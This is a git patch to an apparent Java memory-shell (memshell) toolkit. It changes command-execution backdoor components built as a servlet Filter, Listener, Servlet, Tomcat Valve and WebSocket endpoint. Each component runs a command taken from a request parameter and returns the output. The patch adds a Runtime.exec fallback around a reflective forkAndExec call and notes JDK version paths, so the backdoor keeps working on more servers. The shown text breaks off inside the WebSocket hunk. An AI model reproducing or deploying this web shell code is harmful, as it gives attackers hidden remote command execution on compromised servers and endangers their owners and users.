From 0e2abdecb39719e030b463c762c7631dbf1a0e47 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 10 May 2025 11:56:34 +0800 Subject: [PATCH] fix: downgrade runtime.exec --- .../memshell/shelltool/command/CommandFilter.java | 7 ++++++- .../shelltool/command/CommandListener.java | 10 ++++++++-- .../shelltool/command/CommandServlet.java | 10 ++++++++-- .../memshell/shelltool/command/CommandValve.java | 10 ++++++++-- .../shelltool/command/CommandWebSocket.java | 15 +++++++++------ 5 files changed, 39 insertions(+), 13 deletions(-) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 381e8d8a..bdad63eb 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -33,7 +33,12 @@ public class CommandFilter implements Filter { String cmd = getParam(servletRequest.getParameter(paramName)); try { if (cmd != null) { - InputStream inputStream = forkAndExec(cmd); + InputStream inputStream = null; + try { + inputStream = forkAndExec(cmd); + } catch (Throwable e) { + inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + } ServletOutputStream outputStream = servletResponse.getOutputStream(); byte[] buf = new byte[8192]; int length; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 2a028986..67740fff 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -36,7 +36,12 @@ public class CommandListener implements ServletRequestListener { String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { HttpServletResponse servletResponse = this.getResponseFromRequest(request); - InputStream inputStream = forkAndExec(cmd); + InputStream inputStream = null; + try { + inputStream = forkAndExec(cmd); + } catch (Throwable e) { + inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + } ServletOutputStream outputStream = servletResponse.getOutputStream(); byte[] buf = new byte[8192]; int length; @@ -107,7 +112,7 @@ public class CommandListener implements ServletRequestListener { forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, null, envc[0], null, std_fds, false); } catch (NoSuchFieldException e) { - e.printStackTrace(); + // JDK7 Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); @@ -120,6 +125,7 @@ public class CommandListener implements ServletRequestListener { initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds); } catch (NoSuchMethodException e) { + // JDK11 Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds, false); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index 8418e369..dd7e4269 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -33,7 +33,12 @@ public class CommandServlet extends HttpServlet { String cmd = getParam(request.getParameter(paramName)); try { if (cmd != null) { - InputStream inputStream = forkAndExec(cmd); + InputStream inputStream = null; + try { + inputStream = forkAndExec(cmd); + } catch (Throwable e) { + inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + } ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192]; int length; @@ -105,7 +110,7 @@ public class CommandServlet extends HttpServlet { forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, null, envc[0], null, std_fds, false); } catch (NoSuchFieldException e) { - e.printStackTrace(); + // JDK7 Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); @@ -118,6 +123,7 @@ public class CommandServlet extends HttpServlet { initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds); } catch (NoSuchMethodException e) { + // JDK11 Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds, false); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index 9e3b730f..f43f55fe 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -51,7 +51,12 @@ public class CommandValve implements Valve { String cmd = getParam(request.getParameter(paramName)); try { if (cmd != null) { - InputStream inputStream = forkAndExec(cmd); + InputStream inputStream = null; + try { + inputStream = forkAndExec(cmd); + } catch (Throwable e) { + inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + } ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192]; int length; @@ -125,7 +130,7 @@ public class CommandValve implements Valve { forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, null, envc[0], null, std_fds, false); } catch (NoSuchFieldException e) { - e.printStackTrace(); + // JDK7 Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); @@ -138,6 +143,7 @@ public class CommandValve implements Valve { initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds); } catch (NoSuchMethodException e) { + // JDK11 Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds, false); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 7438325f..dc769bd5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -27,9 +27,14 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole